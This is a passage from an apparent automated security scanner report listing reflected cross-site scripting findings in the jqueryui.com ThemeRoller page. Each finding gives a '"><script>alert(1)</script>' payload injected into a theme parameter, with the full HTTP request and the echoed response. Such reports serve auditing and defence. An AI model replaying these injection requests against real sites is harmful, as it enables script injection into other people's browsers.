pacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:39 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
yHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff3b8b6"><script>alert(1)</script>24d17bc86e5&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover
...[SNIP]...

4.110. http://jqueryui.com/themeroller/ [fcDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 216dc"><script>alert(1)</script>01abf8a1ade was submitted in the fcDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F216dc"><script>alert(1)</script>01abf8a1ade&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:46 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
pacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F216dc"><script>alert(1)</script>01abf8a1ade&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.p
...[SNIP]...

4.111. http://jqueryui.com/themeroller/ [fcError parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aff7d"><script>alert(1)</script>b0f69a04f14 was submitted in the fcError parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0aaff7d"><script>alert(1)</script>b0f69a04f14&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:17 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0aaff7d"><script>alert(1)</script>b0f69a04f14&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&
...[SNIP]...

4.112. http://jqueryui.com/themeroller/ [fcHeader parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8df80"><script>alert(1)</script>970c39be0f5 was submitted in the fcHeader parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff8df80"><script>alert(1)</script>970c39be0f5&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:32 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ler&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff8df80"><script>alert(1)</script>970c39be0f5&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTe
...[SNIP]...

4.113. http://jqueryui.com/themeroller/ [fcHighlight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11f43"><script>alert(1)</script>25c4f2d24a5 was submitted in the fcHighlight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=36363611f43"><script>alert(1)</script>25c4f2d24a5&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:11 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=36363611f43"><script>alert(1)</script>25c4f2d24a5&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=
...[SNIP]...

4.114. http://jqueryui.com/themeroller/ [fcHover parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cbdcb"><script>alert(1)</script>a7634bd91cf was submitted in the fcHover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121cbdcb"><script>alert(1)</script>a7634bd91cf&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:56 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121cbdcb"><script>alert(1)</script>a7634bd91cf&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=
...[SNIP]...

4.115. http://jqueryui.com/themeroller/ [ffDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the ffDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e42b"><script>alert(1)</script>4fcb9c8818e was submitted in the ffDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif1e42b"><script>alert(1)</script>4fcb9c8818e&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:20 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif1e42b"><script>alert(1)</script>4fcb9c8818e&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent
...[SNIP]...

4.116. http://jqueryui.com/themeroller/ [fsDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fsDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb184"><script>alert(1)</script>2227218b9c2 was submitted in the fsDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1embb184"><script>alert(1)</script>2227218b9c2&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:22 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1embb184"><script>alert(1)</script>2227218b9c2&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highl
...[SNIP]...

4.117. http://jqueryui.com/themeroller/ [fwDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fwDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6902"><script>alert(1)</script>ca9b0958104 was submitted in the fwDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normalf6902"><script>alert(1)</script>ca9b0958104&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:21 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120030

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normalf6902"><script>alert(1)</script>ca9b0958104&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTexture
...[SNIP]...

4.118. http://jqueryui.com/themeroller/ [iconColorActive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1117f"><script>alert(1)</script>1dd019a3a40 was submitted in the iconColorActive parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=4545451117f"><script>alert(1)</script>1dd019a3a40&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:04 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
